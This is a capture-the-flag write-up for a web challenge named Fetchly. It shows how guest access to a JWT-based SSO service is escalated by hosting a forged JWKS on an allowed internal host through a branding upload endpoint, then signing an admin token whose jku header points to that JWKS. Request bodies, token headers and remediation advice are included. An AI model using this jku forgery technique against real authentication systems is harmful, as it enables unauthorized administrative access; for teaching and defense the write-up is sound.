Writeup · Cyberweek Africa 2026 - National CTF (Finals)

Fetchly

webhardsolvedFlag: FLAG{REDACTED}

Overview

Fetchly is a server-side link-preview service. You submit a URL via POST /api/preview {"url":"..."} and it fetches it server-side and returns the response. Supported schemes include http, https, and gopher — an SSRF surface. There is also GET /api/account for session info. Sessions use a seal cookie; without a valid session every API call returns 500 Internal Server Error immediately. No session-creation endpoint exists on Fetchly (/api/login, /api/session, /api/guest, /api/auth/* all 404), and GET / sets no cookie.

Two internal services are directly reachable on the same host:

Port Service Purpose
8021 Giftly Gift-card wallet (welcome code → 100 credits, vault costs 1000)
8022 Keymaster SSO (RS256 JWT), /api/vault holds the flag

Keymaster’s /.well-known/jwks.json publishes its RS256 public key (kid: main-2024). Issued JWTs carry a jku (JWK Set URL) header pointing to hxxp://keymaster[.]local/.well-known/jwks.json. The jku mechanism lets the verifier fetch the public key from an attacker-controlled URL — the classic JKU attack surface.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

curl and python3 are sufficient; no wordlist or credentials beyond the demo account are required.

Recon

Step 1 — Probe the session gate

Goal: Confirm that every Fetchly API call returns 500 without a valid seal cookie, and that no session-creation endpoint exists.

POST /api/preview and GET /api/account both return 500 regardless of URL, method, headers, or cookie value. /api/login, /api/session, /api/guest, /api/auth/* all 404, and GET / sets no cookie.

Vulnerability Analysis

The flaw class is JWT JWKS Forgery via jku enabled by SSRF-like trust in an attacker-influenced key URL.

Exploitation

Step 2 — Obtain a guest session on Keymaster

Goal: Log in as guest/guest123 on Keymaster to get a valid RS256 JWT and observe the jku header.

POST /api/login
Content-Type: application/json

{"username":"guest","password":"guest123"}

Response includes a JWT and sets the kmtoken cookie. The JWT header is:

{
  "alg": "RS256",
  "jku": "hxxp://keymaster[.]local/.well-known/jwks.json",
  "kid": "main-2024",
  "typ": "JWT"
}

Step 3 — Probe the jku host allowlist

Goal: Determine which jku hosts Keymaster’s verifier allows.

jku host Result
hxxp://chal2[.]hackathon[.]ke jku host not allowed
External / public IPs jku host not allowed
hxxp://keymaster[.]local jku host not allowed
hxxp://127[.]0[.]0[.]1:8022 Allowed (uses Keymaster’s real key)
hxxp://localhost:8022 Allowed (uses Keymaster’s real key)

External hosts and keymaster[.]local are blocked, but 127[.]0[.]0[.]1:8022 is allowed. Since Keymaster serves its own branding endpoint on port 8022, hxxp://127[.]0[.]0[.]1:8022/branding/<id>.json is reachable from Keymaster’s own server when it processes a jku fetch.

Step 4 — Host our own JWKS via the branding endpoint

Goal: Publish an attacker-controlled RSA public key as a JWKS on the allowed host.

Keymaster’s POST /api/branding (authenticated with any valid token) accepts arbitrary JSON and returns a public URL:

POST /api/branding
Authorization: Bearer <guest token>
Content-Type: application/json

{"keys":[{"kty":"RSA","kid":"attacker-key","use":"sig","alg":"RS256","n":"...","e":"AQAB"}]}

Response:

{ "ok": true, "url": "hxxp://keymaster[.]local/branding/<id>.json" }

Generate a fresh RSA-2048 key pair and publish the public key as a JWKS through this endpoint. The branding URL is served on keymaster[.]local, which is blocked for jku — but the same content is reachable via hxxp://127[.]0[.]0[.]1:8022/branding/<id>.json, which is allowed.

Step 5 — Forge an admin JWT

Goal: Sign an admin JWT with our private key and point jku at our hosted JWKS.

Signed a JWT with our private key:

  • Header: {"alg":"RS256","typ":"JWT","kid":"attacker-key","jku":"hxxp://127[.]0[.]0[.]1:8022/branding/<id>.json"}
  • Payload: {"sub":"admin","role":"admin","iat":...}
  • Signed with RS256 (RSASSA-PKCS1-v1_5 + SHA-256) using our private key.

Keymaster fetched our JWKS from the allowed 127[.]0[.]0[.]1:8022 host, matched kid: attacker-key, verified our signature, and accepted the token as admin:

GET /api/me
Authorization: Bearer <forged admin token>
→ {"role":"administrator","sub":"admin"}

Step 6 — Read the flag from /api/vault

Goal: Call the vault endpoint as admin and retrieve the flag.

The vault checks for role: admin exactly:

GET /api/vault
Authorization: Bearer <forged admin token>
→ {"document":"keymaster-root","flag":"FLAG{REDACTED}"}

Flag

FLAG{REDACTED}

Retrieved from /api/vault with the forged admin JWT.

Lessons / Remediation

  • Never fetch JWT verification keys from attacker-influenced URLs via jku. Use a fixed, trusted JWKS endpoint or pin specific keys/kids.
  • Ensure the key source cannot be influenced by the token presenter, even if signatures are strictly verified.
  • Sanitize and restrict content served from internal domains, especially when it can be consumed as security-critical material like JWKS.

Mitigations

  • Use a fixed, trusted JWKS endpoint or pin specific keys/kids; never fetch verification keys from jku URLs.
  • Restrict content served from internal domains, especially security-critical material like JWKS.
  • Validate both the signature and the embedded authorization level server-side.

Techniques

  • SSRF
  • JWT
  • JKU JWKS Forgery
  • SSO

References